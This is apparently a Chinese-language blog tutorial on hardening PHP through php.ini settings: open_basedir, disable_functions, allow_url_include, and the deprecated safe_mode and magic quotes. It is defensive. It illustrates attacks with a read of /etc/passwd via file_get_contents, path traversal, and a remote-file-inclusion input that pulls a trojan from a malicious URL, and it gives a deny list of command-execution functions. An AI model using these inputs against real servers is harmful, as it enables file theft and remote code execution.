web安全代码基础-PHP(防护过滤操作)

php.ini 全局安全配置(服务器层面,第一道防线)
php.ini 是 PHP 运行全局配置文件,所有 PHP 脚本共享生效,属于底层强制安全限制,无需改业务代码。

safe_mode 安全模式(废弃,仅历史了解)
1、作用:早期 PHP 内置安全隔离机制,开启后会限制文件跨目录访问、禁止执行系统命令、限制外部文件读取。

2、现状:PHP5.3 起废弃,PHP5.6 彻底移除,不再使用,替代方案:open_basedir + disable_functions。

open_basedir 目录访问限制(防目录遍历 / 跨目录文件读取)
核心防护:限定 PHP 脚本只能操作指定目录内的文件,超出目录无法读写、包含、读取文件。

1、攻击场景:无限制时,攻击者通过file_get_contents(“/etc/passwd”)、../路径穿越读取服务器敏感配置、源码、密钥。

2、配置示例:

open_basedir = /home/wwwroot:/tmp
仅允许脚本操作网站根目录和临时目录,/etc/、/root等系统目录直接拦截。

3、优势:全局生效,所有文件操作函数(include/file_get_contents/fopen)全部受限制。

disable_functions 禁用危险函数(最实用安全配置)
替代废弃 safe_mode,直接禁用高危 PHP 内置函数,从根源杜绝漏洞利用。

系统命令执行:exec、system、shell_exec、passthru、popen
文件高危操作:file_put_contents、chmod、rmdir、unlink(按需)
代码执行:eval、assert、create_function(一句话木马核心)
远程读取:file_get_contents(搭配 allow_url_fopen 使用)
配置示例:

disable_functions = eval,assert,exec,system,shell_exec,passthru
magic_quotes_gpc 魔术引号(已废弃,仅理解原理)
功能:自动对 GET/POST/COOKIE 传入的用户输入,单引号’、双引号”、反斜杠\、NULL 自动加反斜杠转义,初衷简易防 SQL 注入。

缺陷:

PHP5.4 后彻底移除,新版本不存在该配置;
仅转义 4 个字符,无法防御宽字节注入、二阶注入;
会造成数据双重转义,页面展示多出反斜杠。
替代方案:手动过滤函数 + MySQL 预编译(PDO 预处理)。

allow_url_fopen /allow_url_include 远程文件包含防御
allow_url_fopen
控制file_get_contents()、fopen()能否读取远程 HTTP/HTTPS 文件。

allow_url_include
控制include/require能否引入远程 URL 文件,高危开关,必须关闭。

漏洞场景:远程文件包含漏洞 (RFI)

攻击者传入 ?page=http://恶意网站/木马.txt,服务器会下载远程木马并执行。

安全配置:两个参数统一关闭

allow_url_fopen = Off
allow_url_include = Off
max_connections 数据库最大连接数
限制 MySQL 同时连接数量,防御数据库 CC 爆破、大量并发拖垮数据库。 配置过小会导致正常业务报错,根据服务器性能调整

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
亿元的头像-初映网络工作室钻石会员
评论 抢沙发

请登录后发表评论

    暂无评论内容